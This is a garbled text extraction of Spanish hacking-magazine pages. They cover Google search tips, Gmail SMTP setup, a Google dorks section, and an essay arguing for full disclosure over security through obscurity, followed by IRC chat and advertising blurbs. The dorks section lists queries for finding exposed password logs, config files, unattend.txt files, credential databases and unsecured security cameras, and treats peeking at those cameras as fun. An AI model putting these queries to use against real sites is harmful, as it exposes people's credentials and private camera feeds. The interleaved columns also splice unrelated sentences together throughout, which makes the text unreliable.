(SMTP). (e^(i pi)+1), y obtener un resultado Utilizando el operador “site:” podremos Pon un tick en la caja que dice “TLS” claro. buscar algo en concreto dentro de una debajo de “Utilizar conexión segura”. misma web. Por ejemplo, si queremos Introduce “smtp.gmail.com” en encontrar “Windows Media Player” “Nombre del Servidor”, y verifica que dentro de http://www.microsoft.com/, “Puerto” sea “587”. Para obtener la definición de una palabra pondríamos “Windows Media Player Tickea la opción “Utilizar Nombre de ponemos algo tan simple como “Define site:http://www.microsoft.com/” Usuario y Contraseña”, e introduce tu palabra” , de manera que si queremos nombre de usuario de Gmail la definición de un ordenador hacemos (usuario@gmail.com”. “Define ordenador” y obtendremos un Verifica que toda la información sea enlace (casi siempre a la Wikipedia o Si nos vamos mañana de viaje y no correcta, y ¡ya tienes tu correo Gmail similar) en el que nos dice “Una sabemos que tiempo hará, Google nos en tu gestor de Correo!. c o m p u t a d o ra ( H i s p a n o a m é r i c a ) u ayudará :) Si queremos saber el tiempo ordenador (España) es un dispositivo que hará en Madrid pondremos “weather electrónico compuesto... ”. madrid, Spain”. Esta búsqueda debe siempre estar en el formato “weather Con esta opción puedes reenviar todo ciudad , País” el correo que recibas en tu cuenta Gmail a otra dirección de correo electrónico. Google nos permite relacionar los De esta manera si cambias de cuenta y resultados con un tipo de archivo en ya no quieres recibir más mensajes en concreto mediante la utilización de ¿Quieres saber quien tiene un link a tu Gmail, puedes reenviar todos los filetype:[extensión] en la búsqueda. web? Pues usando el operador “link: mensajes a tu nueva cuenta. Digamos que por ejemplo buscamos la web” lo sabrás. Por ejemplo, para saber La forma de hacer eso es yendo a constitución española en pdf, pues quien tiene links que apunten a 63
  • 63. http://totalred.blogspot.com“http://www.cnn.com/” pondremos ejemplos, puedes probar con muchas La manera de sacar provecho de estos“link:http://www.cnn.com/” más cosas. GoogleDorks es refinando las búsquedas al máximo para conseguir archivos de configuración o de administrador. Por ejemplo, para un archivo “.mdb”, el cual contiene contraseñas, usuarios y demásEsta opción solo funciona con vuelos Si quieres recibir los resultados de la archivos sobre una pagina web, ponemosamericanos, pero pronto se instalará en búsqueda en tu correo para poder en Google “allinurl: admin mdb”. Comootros países. La forma de utilizar este analizarlos más tarde con tranquilidad veis, hay diversas páginas donde elservicio es poniendo el nombre de la en otro sitio, basta con mandar un email administrador ha dejado que Googlecompañía, seguido del vuelo. Por a Google@capeclear.com con el patrón guardara un link a ese archivo, cosaejemplo para la compañía “United de la búsqueda como asunto, y al poco que NINGÚN administrador espabiladoAirlines” y el vuelo “134” pondríamos ra t o r e c i b i r á s u n c o r r e o c o n l o s debería hacer.“united 134” resultados Os dejo algunas búsquedas más para ir practicando:Si sabemos el nombre de una empresaque invierte en bolsa, podremos saber intitle:"Index of" config.php Mediante el operador “inurl :” podemoscomo van sus acciones, e incluso ext:txt inurl:unattend.txt encontrar un patrón dentro de la url deobtendremos un bonito gráfico. Para filetype:log inurl:"password.log" cualquier web. Si quisiéramos encontrarello deberemos saber la abreviatura del "access denied for user" "using paginas web que contengan “phpBB2”nombre en bolsa. Por ejemplo para saber password" pondríamos “inurl; phpBB2”Esto puedecomo están las acciones de “Cisco tener varias utilidades. Por ejemplo, Para más búsquedas de este tipo echadleSystems, Inc” pondremos su nombre podemos utilizar esta opción para ver un vistazo a la web http://johnny.abreviado en bolsa, que es “csco” diferentes cámaras de seguridad del ihackstuff.com/ mundo buscando “inurl:"MultiCamera Frame?Mode="”. De esta manera, todas Para evitar este tipo de cosas, debemos las urls(direcciones) que tenga Google configurar nuestro servidor para que losEste punto es el más difícil de explicar. almacenadas que contengan buscadores no entren en determinadosResulta que Google tiene un sistema “MultiCameraFrame?Mode=” aparecerán directorios, lo cual se puede hacer deque te hace conversiones sobre ciertas en los resultados, con las consiguientes diversas formas , dependiendo delcosas, como puede ser la conversión de paginas donde podremos ver cámaras servidor. En el caso de Apache, se debesegundos a horas, megabytes a bits o de seguridad desde un casino de Japón restringir el acceso en el archivometros a millas. hasta la Quinta Avenida de Nueva York. “.htaccess”. Otra manera universal para Esto también conlleva algunos riesgos todos los servidores es tener en elLa forma de sacar provecho de esto de seguridad, ya que todas esas cámaras directorio raíz un archivo llamadosuele ser siempre con esta sintaxis: están al descubierto para miradas de “robots.txt” en el cual debes incluirCosa to Cosa1 curiosos (como nosotros :D), y es “Disallow :” Seguido del directorio al posible que no siempre sea la intención que no quieres que el robot de ningúnEs decir, si queremos convertir 66984 del administrador. buscador entre. Para más informaciónsegundos a horas ponemos: s o b r e e l a r c h i v o r o b o t s . t x t m i ra También es posible encontrar resultados http://www.searchengineworld.com/r66984 seconds to hours A lo que nos dentro del título de la pagina, con el obots/robots_tutorial.htmdirá: 66 984 seconds = 18.6066667 operador “intitle:”. Al igual que conhours “inurl”, con “allinurl” conseguimos mas Espero que este artículo os sirva de o menos lo mismo que con el anterior, referencia y os haya sido de utilidadIgualmente, si queremos convertir 60 pero pudiendo refinar la búsqueda con para la próxima vez que vayáis a hacermetros a millas o 2147483648 bytes a más opciones. una búsqueda avanzada en Google, ogigabytes diríamos: 60 metres to miles vayáis utilizar vuestro correo Gmail .A lo que dirá 60 meters = 0.0372822715 Ya no tenéis escusa para decir "Busqué, pero no encontré nada en Google" Si2147483648 bytes to gigabytes Y Se conoce como un GoogleDork a aquella tenéis alguna pregunta, pasaros en elobtendremos la respuesta: persona inepta o necia que es revelada foro, que allí me encontraréis a mí, y a2 147 483 648 bytes = 2 gigabytes por Google. Estas personas dejan a Google mucha más gente dispuesta a ayudarte.Como puedes ver, lo que quieres indexar(guardar) información confidencial Un Saludo!encontrar tiene que ser en su palabra sobre su web, ya sean vulnerabilidades,en inglés, no puede ser "metros" sino Autor: kurin información sobre el servidor, directorios"metres". También debes tener en secretos o incluso contraseñas con suscuenta que solo he puesto unos correspondientes usuarios. 64
  • 64. http://totalred.blogspot.com Todas las mañanas, para matar el tiempo que consume el largo camino a la facultad, me entretengo ojeando la prensa gratuita (aquí en Madrid es habitual acumular hasta tres y cuatro periódicos al entrar al metro). Una mañana de hace unas cuantas semanas leí una noticia que, de no estar totalmente seguro que no era 28 de Diciembre, me habría parecido una inocentada: una conocida marca de automóviles ha diseñado “el primer coche sólo para mujeres” que a d e m á s h a s i d o d i s e ñ a d o p o r u n e q u i p o f o r m a d o í n t e g ra m e n t e p o r m u j e r e s . Podéis hacer una visita a nuestro bien amado google y pero no podré hacer nada ni pedir a ningún amigo que lo buscar el término “Volvo YCC” (no había manera de no haga. La única solución es llevar el coche al taller, donde mencionar la marca... publicidad gratis xD) para saber sabrán como quitar la pieza completa que recubre el cuál es la idea que esas mujeres han tenido de lo que ha motor. de ser un “coche para mujeres”. Seguramente, si eres mujer, desearías ver las cabezas de estas “diseñadoras” En ese momento empieza a funcionar la parte más (http://imgserv.ya.com/images/9/8/982e8235131ca7bi pragmática de mi cerebro: ¿qué necesidad real había de 3.jpg) en una pica... no te culpo, si yo fuera mujer desearía negar el acceso al capó? ¿no sería mejor proporcionar el lo mismo. acceso al mismo y que cada usuario decida por sí mismo si desea abrirlo e intentar repararlo, o bien llevarlo a un Ahora (y antes de iniciar otra guerra de sexos), vamos a taller y confiar en profesionales? Así se ha hecho toda la imaginar que alguien compra ese coche. Para dejar de vida y no nos ha ido mal. El que quería aprender mecánica martirizar a las féminas (que bastante tienen con ver su lo hacía y el que no, o buscaba un taller económico o le género como apellido de ese pseudocoche), imaginemos pedía un favor a un amigo que entendiera y luego le que yo mismo me lo compro. Sé que imaginar que tengo invitaba a algo (o no, que caraduras los han habido siempre el dinero para comprar un coche -más aún de esa marca- :-P). es un gran esfuerzo, pero confío en que tengáis la suficiente imaginación. ;-) Traslademos ahora esta pequeña parábola al campo del software. Como hace mucho que dejamos de creer en los Bien, pongamos que me he comprado mi nuevo y flamante cuentos de hadas, sabemos que no existe el software YCC y decido salir a dar una vuelta a probarlo. Todo va perfecto, y que todos los programas -en mayor o menor de maravilla hasta que, de buenas a primeras el coche se medida- tienen fallos. Pues bien, en el mundo de la para y me deja tirado. ¿Qué ha pasado? Bien, no perdamos seguridad informática existen dos tendencias a la hora de la calma, vamos a abrir el capó a ver si veo algo a simple manejar las situaciones críticas que suponen la aparición vista... ¡¿Qué!? ¡Este coche no tiene capó! (Nota: no, no de bugs en el software. es broma, ese coche NO tiene capó). Yo no soy un hacha de la mecánica, pero algo sé, y en cualquier caso tengo La primera tendencia es la de ofrecer toda la información amigos que sí son bastante buenos con la mecánica... posible sobre el fallo: en qué consiste, cómo explotarlo, 65
  • 65. http://totalred.blogspot.comcómo solucionarlo... esta tendencia de Hace unos meses Microsoft, el mayor cuestión. ¡Y ojo! Que no estoy abogando“capó abierto” permite al usuario decidir gigante del software hoy en día, anunció por el software libre (que también, lospor sí mismo si desea corregir el que retiraba el soporte de Windows NT que me conocen saben que soy firmeproblema o esperar a que los 4.0. En la práctica significa que no se defensor del mismo), simplemente pidoprofesionales (los responsables del van a desarrollar mejoras ni correcciones derecho a saber en qué estoy poniendosoftware) lo corrijan. A esta tendencia para el mismo nunca más... y que al mi confianza.se le conoce en este mundillo como “full primer fallo grave que se descubra, tododisclosure” (completamente destapado). aquel con ese sistema estará No sé vosotros, pero si el fabricante de completamente desprotegido. Dado que mi coche de vez en cuando enviaraLa otra tendencia consiste en intentar el entorno NT casi siempre se ha elegido cartas a sus clientes diciendo:que sea conocida la mínima información como solución en empresas o entornosposible sobre el fallo. Generalmente se de producción, no creo que nadie en “Cuidado, se ha descubierto un fallo desaca un parche para un fallo que ni esas circunstancias se arriesgue a un diseño en su automóvil que puede causarsiquiera ha sido anunciado con fallo de semejante magnitud. ¿Solución? q u e e x p l o t e s i n p r e v i o a v i s o .”antelación. A esta tendencia se le conoce Actualizar, previo paso por caja paracomo “security through obscurity” renovar tooodas las licencias que Yo, cada vez que escuchara un ruido(seguridad a través de oscuridad) y tuvieras. extraño, por más que el mecánicoviene a ser el equivalente a no poner insistiera en que no es nada, no mecapó a nuestro coche. En Microsoft los coches no tienen capó. arriesgaría a ir a ningún sitio con ese Y cuando ellos deciden que debes riesgo con ruedas. No hablemos de hacerPodéis encontrar más información sobre cambiar de coche (sin importar que siga viajes de 500 kilómetros con pasajeros.ambas tendencias en la wikipedia: funcionando o no), en el taller te responden que no van a reparar más Últimamente hago bastantes comprashttp://en.wikipedia.org/wiki/Security_ coches de ese modelo. Como el “plan online, y consulto los movimientos dethrough_obscurity renove” pero al revés y poniendo tú la mis cuentas desde la página web de las pasta. entidades bancarias correspondientes,http://en.wikipedia.org/wiki/Full_discl por falta de tiempo más que nada (yaosure Pero voy más allá: ¿de qué me serviría se sabe, la vida a la que nos obliga el conocer todos los detalles sobre un fallo stress). Y por el mismo motivo por elDejando de lado las implicaciones legales de diseño en la junta de la trócola del que no usaría ese coche sin capó, node este asunto (un tema del que ya modelo X del último coche de Microsoft? uso software “sin capó” del que no mehabló AZIMUT en su artículo de opinión) Aunque ese modelo de coche tuviera fío.podemos observar que en la comunidad capó, al abrirlo descubriría que no tengointernacional dentro del campo de la ni idea de cómo ha sido diseñado ese Es un hecho que las vulnerabilidades seseguridad informática, tanto empresas motor ni, por supuesto, de dónde está descubren, por más que las empresascomo particulares se decantan por una la junta de la trócola ni de cómo de software pretendan que no sea así.u otra tendencia (raramente por un interactúa con su entorno para trabajar. En muchas ocasiones son avisadas detérmino medio). esos fallos de seguridad y hacen caso No sé si habréis leído los boletines de omiso de los avisos. Recuerdo el caso,Generalmente, las grandes empresas seguridad de Microsoft, pero a mí es hará quizá un año o más, de una gravede software prefieren que la seguridad que me da la risa. Parecen haber sido vulnerabilidad en hotmail (aquí es dondede sus productos recaiga en la seguridad redactados con la intención de que no todos los script-kiddies agudizan susp o r o s c u r i d a d , m i e n t ra s q u e l o s los comprendan ni sus ingenieros, y al cinco sentidos xD) que permitía resetearexpertos independientes (los “hackers”, final lo único que se entiende es el password de cualquier usuario: elsi es que esa palabra significa algo “Descargar el parche”. Pues vale. Por webmaster de “Zone H” avisó enhoy en día) suelen preferir el full no mencionar las descripciones de las repetidas ocasiones al personal de MSNdisclosure. actualizaciones que podemos encontrar y no le hicieron caso. Al final, cansado en Windows Update... a mí a veces me de la situación, decidió publicar el fallo,Pero técnicamente, ¿qué diferencias da una sensación terrible de dejà vu y lo que obligó al personal de MSN areales hay entre una y otra tendencia? no sé si estoy viendo la misma trabajar a destajo para corregirlo en actualización por enésima vez o si las una noche y evitar el desastre que seLa política de seguridad por oscuridad descripciones se asignan por el método avecinaba (lo siento, script-kiddies, otrasignifica en la práctica que dependemos de “ctrl+c; ctrl+v”. vez será...).totalmente de la empresa o particularque ha programado el software para Por ello, creo que aún cuando las ¿No sería mejor haber agradecido lapoder corregir fallos. Y esto estaría bien grandes corporaciones del software información y haber solucionado consi esos fallos se siguieran corrigiendo optaran por el full disclosure, éste no tiempo (semanas) el fallo que haberloeternamente y se hiciera de forma tendría sentido de ser sin tener acceso hecho deprisa y corriendo en una noche?eficiente, pero... ¿es así? al código fuente del software en En el colegio, todos hacíamos los 66
  • 66. http://totalred.blogspot.com deberes el día antes, pero creo que una Es por ello que yo sí me fío de PGP, por cerrado y propiedad de una gran empresa como Microsoft no puede ejemplo. No pecaré de soberbia diciendo empresa del software? Mejor ni pensarlo. permitirse hacer los deberes el día antes. que he revisado el código fuente de PGP, Eso ya no es “security through entre otras cosas porque no veo Parece ser que, a golpe de talonario y obscurity”... eso es “security through necesario revisarlo. Tampoco he revisado mordaza, desean imponernos software idiocy”. línea a línea el código de, por ejemplo, “sin capó”. Puede parecer que al final phpBB (el sistema de, entre otros, los tenía razón George Orwell, y solamente Ahora imaginemos que se descubre una foros de Hack x Crack)... pero porque erró la fecha... pero como no soy alguien vulnerabilidad crítica en el software X no necesito hacerlo. pesimista, prefiero pensar que no es y q u e e l d e s c u b r i d o r t i e n e o t ra s así. intenciones bastante más dañinas. Sé perfectamente que hay gente que sí Nadie (ni el desarrollador) conoce el audita esos códigos línea por línea, y Si observamos las tendencias del fallo, pero todos empiezan a observar que en el momento en que se encuentra software de estos últimos años, vemos los ataques y sus consecuencias. Con una vulnerabilidad, se publica toda la que cada día el software libre arrebata el código fuente disponible, y una información relativa a la misma, así más trozos del pastel a las grandes política de full disclosure, es posible como soluciones temporales. A la empresas: Linux a Windows, Firefox a que cualquiera encuentre el fallo experiencia me remito: Internet Explorer, OpenOffice.org a auditando el código y proponga una Microsoft Office... y también hay casos solución, mientras que si el código no de pasteles que el software libre se Hace unas cuantas de semanas se está disponible, se hace bastante más come casi completamente: MySQL, descubrió una vulnerabilidad muy grave complicado el encontrar el punto exacto Apache... en phpBB hasta la versión 2.0.12 que del fallo y mucho más complicado permitía comprometer totalmente solucionarlo... eso sin tener en cuenta También vemos que el full disclosure cualquier foro. que el realizar ingeniería inversa sobre cada día está más vivo, y que la código propietario es delito. Y si comunidad hacker se encarga de Gracias al full disclosure pudimos cerrar tenemos que esperar a que el desarro- alimentarlo día a día con conocimiento... el foro a tiempo para evitar males llador parchee, y tiene la misma prisa a pesar de todo. Como reza la firma de mayores (y gracias a la gente de que demuestran a veces empresas un amigo y compañero del foro... “Si elhacker.net ;-P) y en cuanto hubo como Microsoft... estamos apañados. no se vive como se piensa, se acabará parche oficial, solucionar el problema. pensando como se vive”. Es por ello que mi filosofía del software pasa por el full disclosure y la publicación Pero voy más allá... unos días después Así pues, cuando me compre un coche, del código fuente. Y de nuevo repito: la se empezó a mencionar en ciertos lo pediré con capó. Y si me lo dan sin disponibilidad del código fuente no círculos una nueva vulnerabilidad en capó, ya me encargaré yo de ponerlo, implica necesariamente software libre phpBB hasta la última versión disponible os lo aseguro. ni open source. Tenemos casos de entonces (2.0.13) que permitía hacer software muy famoso como PGP más de una maldad. Aún no había Ramiro C.G. (alias Death Master). (http://www.pgp.com/) donde el código parche oficial ni versión 2.0.14, pero fuente está disponible para descarga y gracias al full disclosure, pude aplicar revisión (http://www.pgp.com/ down yo mismo una modificación al código loads/sourcecode/) pero NO es libre ni del foro que nos puso a salvo del fallo. abierto. ¿Os imagináis si phpBB fuera código ¿QUIERES CONOCER A OTRAS PERSONAS QUE LEEN LA REVISTA? Pues no lo dudes, tienes un CHAT a tu disposición!!! Para acceder al CHAT únicamente necesitas un cliente de IRC, por ejemplo el mIRC, el irssi o el xchat: - Para WINDOWS el mIRC ---> http://mirc.irc-hispano.org/mirc616.exe - Para LINUX el irssi ---> http://irssi.org/ o el xchat ---> http://www.xchat.org/ Para acceder tendreis que poner en la barra de status: /server irc.irc-domain.org y despues /join #hackxcrack Y si no tienes ganas de instalar ningún programa, puedes acceder al CHAT directamente con tu navegador de Internet accediendo a la página http://www.irc-domain.org/chat/ y poniendo en CANAL ---> #hackxcrack Saludos y feliz chateo** ** El canal de CHAT de hackxcrack es un recurso ajeno a la revista/editorial cuyo mantenimiento, gestion, administración y contenidos son independientes de la misma. 67 http://totalred.blogspot.com
  • 67. PON AQUÍ TU PUBLICIDADContacta DIRECTAMENTE connuestro coordinador de publicidad INFÓRMATE ¡sin compromiso! 610 52 91 71 ¿Has pensado alguna vez en poner TU PUBLICIDAD en una revista de cobertura nacional? ¿Has preguntado precios y comprobado que son demasiado elevados como para amortizar la inversión?Con nosotros, la publicidad está al alcance de todos precios desde 99 euros para más información: http://www.pcpasoapaso.com/publicidad.html P r omoción especial de lanzamiento